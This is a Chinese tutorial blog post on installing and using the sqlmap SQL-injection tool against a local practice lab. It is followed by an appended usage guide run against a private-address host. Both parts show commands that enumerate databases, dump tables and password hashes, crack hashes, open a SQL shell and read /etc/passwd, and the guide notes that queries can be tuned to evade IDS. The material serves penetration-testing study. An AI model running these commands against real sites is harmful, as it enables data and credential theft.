sqlmap的安装与使用

sqlmap的安装与使用

sqlmap 简介

sqlmap 是一个自动化的 SQL 注入工具,主要功能是扫描、发现并利用给定 url 的 sql 注入漏洞,内置了很多绕过插件,支持的数据库是 MySQL、Oracle、PostgreSQL、Microsoft SQL server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB。

sqlmap 采用的 sql 注入技术

  • 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
  • 基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
  • 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
  • 联合查询注入。可以使用 union 的情况下的注入。
  • 堆查询注入。可以执行多条语句时的注入。

——
——

sqlmap 的安装

sqlmap 的安装需要 python 的环境,并且不支持 python3 ,python2 可直接到搜索下载安装。
如果已经装了 python3 不想卸载,可以有两者兼容的方法:https://blog.csdn.net/Goodric/article/details/115646211?spm=1001.2014.3001.5501

sqlmap官网下载 :http://sqlmap.org/
点击下载压缩包。
在这里插入图片描述
将文件解压在 python 的安装路径下。
如我的是在 E 盘的 Python27 文件夹下。
在这里插入图片描述
然后在 cmd 命令行里先进入这个目录,再执行语句。
为了方便,我们可以在桌面右键创建一个快捷方式。
对象位置填写 cmd 。
在这里插入图片描述
名称根据自己来定。
在这里插入图片描述
创建好后,打开这个快捷方式的属性,修改起始位置为 sqlmap 的文件路径。
在这里插入图片描述
这样点击快捷方式就已经在路径下了,不用每次 cd 进入文件路径。
然后输入命令:

sqlmap.py

可以看到 sqlmap 成功运行了。
我这里因为同时装了 python2 和python3 ,所以需要在语句前加上 python2 ,不然系统无法自己识别。
所以后面的命令测试都在前面加了 python2 ;如果只装了一个 python2 而没有装 python3 ,就可以不用加,直接 sqlmap.py 后面接命令。
在这里插入图片描述
——
——

sqlmap 入门

判断是否存在注入

这里用本地的 sqli-labs 靶场测试:http://sqli-labs/Less-1/?id=1
构造语句:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1

如果注入点后面的参数大于等于两个时,需要加双引号,如:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1&uid=2 "

可以看到显示存在注入。
在这里插入图片描述

紧跟着上图,可以看到底下会有选择,会出现三个输入 [Y/n] ,一般默认按回车键即可。
第一处意为检测数据库可能是 MySQL ,是否需要跳过检测其他数据库;
第二处意为在“ level 、riskl ”的情况下,是否使用 MySQL 对应的所有 payload 进行检测;
第三处意为参数 id 存在漏洞,是否继续检测其他参数。
在这里插入图片描述
——

判断文本中的请求是否存在注入

sqlmap 可以从一个文本文件中获取 HTTP 请求,这样就可以不设置其他参数(如 cookie 、post 数据等),
txt 文本中的内容为 web 数据包。
在这里插入图片描述
判断是否存在注入,构造命令( -r 一般在存在 cookie 注入时使用 ):
python2 sqlmap.py -r C:\Users\Goodric\Desktop/1.txt
在这里插入图片描述
——

查询当前用户下的所有数据库

用前面的命令确定网址存在注入点后,接下来可以利用确定了的注入点查询当前用户下的所有数据库。
(前提:当前用户有权限读取包含所有数据库列表学习的表)
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs

得到所有数据库名
在这里插入图片描述
——

获取数据库中的表名

查询出数据库名后,再查询指定数据库中的所有表名。
命令中 -D 参数用来指定某一个具体的数据库,如果不使用,就会列出所有数据库中的所有表。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys --tables

得到 sys 数据库中的 101 个表名。
在这里插入图片描述
——

获取表中的字段名

查询完表名后,查询某个指定表中的字段名。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys -T
host_summary --columns

命令中的 -T 时 --tables 的缩写。
得到 host_summary 表中的所有字段名。
在这里插入图片描述

后续的注入中,–columns 缩写成 -C ,就像前面的 --tables 缩写成 -T 。

——

获取字段内容

查询完字段名后,再进行获取字段中的具体数据信息。
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys -T host_summary -C host,statements -dump

得到字段 host 和 statements 的具体数据。
在这里插入图片描述
——

获取数据库的所有用户

前提:当前用户有权限读取包含所有用户的表的权限。
使用该命令可以列出所有管理用户。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --users

得到数据库中的所有用户 。
在这里插入图片描述
——

获取数据库用户的密码

如果当前用户有读取包含用户密码的权限,会先列举出用户,然后列出 Hash。
该命令的作用是列出数据库用户的密码。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --passwords

这里出现了几个选项。
第一个意为是否将哈希存储到临时文件,以便最终使用其他根据进行进一步处理。
第二个意为是否要对检索到的密码哈希执行基于字典的攻击。
第三处是选择用哪本字典:

[1]自带的字典(点击回车即可)
[2]自定义字典
[3]包含字典文件列表的文件
第四处意为是否使用通用密码后缀。

我这里是一直回车下去,即最终选择了自带的字典。
前两个用户名密码显示这不是可以在自带字典里使用的有效密码
得到第三个用户 root 的密码为 root 。
在这里插入图片描述
——

获取当前网址数据库的名称

该命令可以列出当前网址使用的数据库。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-db

得到当前网址数据库为 security 。
在这里插入图片描述
——

获取当前网址数据库的用户名称

该命令可以列出当前网址使用的数据库用户。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-user

得到用户为 root 。
在这里插入图片描述

——
——

sqlmap 参数举例

- -level 5 :探测等级

参数 --level 5 指需要执行的测试等级,一共有 5 个等级(1~5),可不加 level ,则默认为 1 .

level 2 :cookie 注入
level 3:user-agent 、referer
level 5:host

5 级包含的 payload 最多,会自动破解出 cookie 、XFF 等头部注入,不过运行的速度也最慢。

——

- -is-dba : 当前用户是否为管理权限

该参数用于查看当前账户是否为数据库管理员账户。
构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --is-dba

可以看到结果为 True 或者 False 。
在这里插入图片描述

——

- -roles : 列出数据库管理员角色

如果用户有权限读取包含所有用户的表,该命令会列举出每个用户的角色,还可以用参数 -U 指定想看哪个用户的角色。
命令像这样:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --roles

不过,该命令适用于当前数据库是 Oracle 的时候。
然后我这里测试数据库为 MySQL ,可以看到下图中出现黄色字体的警告,意为在 MySQL 上,roles 的概念不存在,不过 sqlmap 还是会为我们枚举权限,而不是获取数据库用户权限。
在这里插入图片描述
——

- -referer : HTTP Referer 头

sqlmap 可以在请求中伪造 HTTP 中的 referer ,当 --level 参数设定为 3 或 3 以上时,会尝试对 referer 注入。
如使用命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --referer http://www.baidu.com

–sql-shell : 运行自定义 sql 语句
该命令用于指定的 sql 语句。
如要执行语句:

select * from users limit 0,1

先构造命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --sql-shell

执行了命令后,会给出一行让我们输入所要执行的命令,就在对我们的自定义命令进行执行。
在这里插入图片描述

  • 11
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值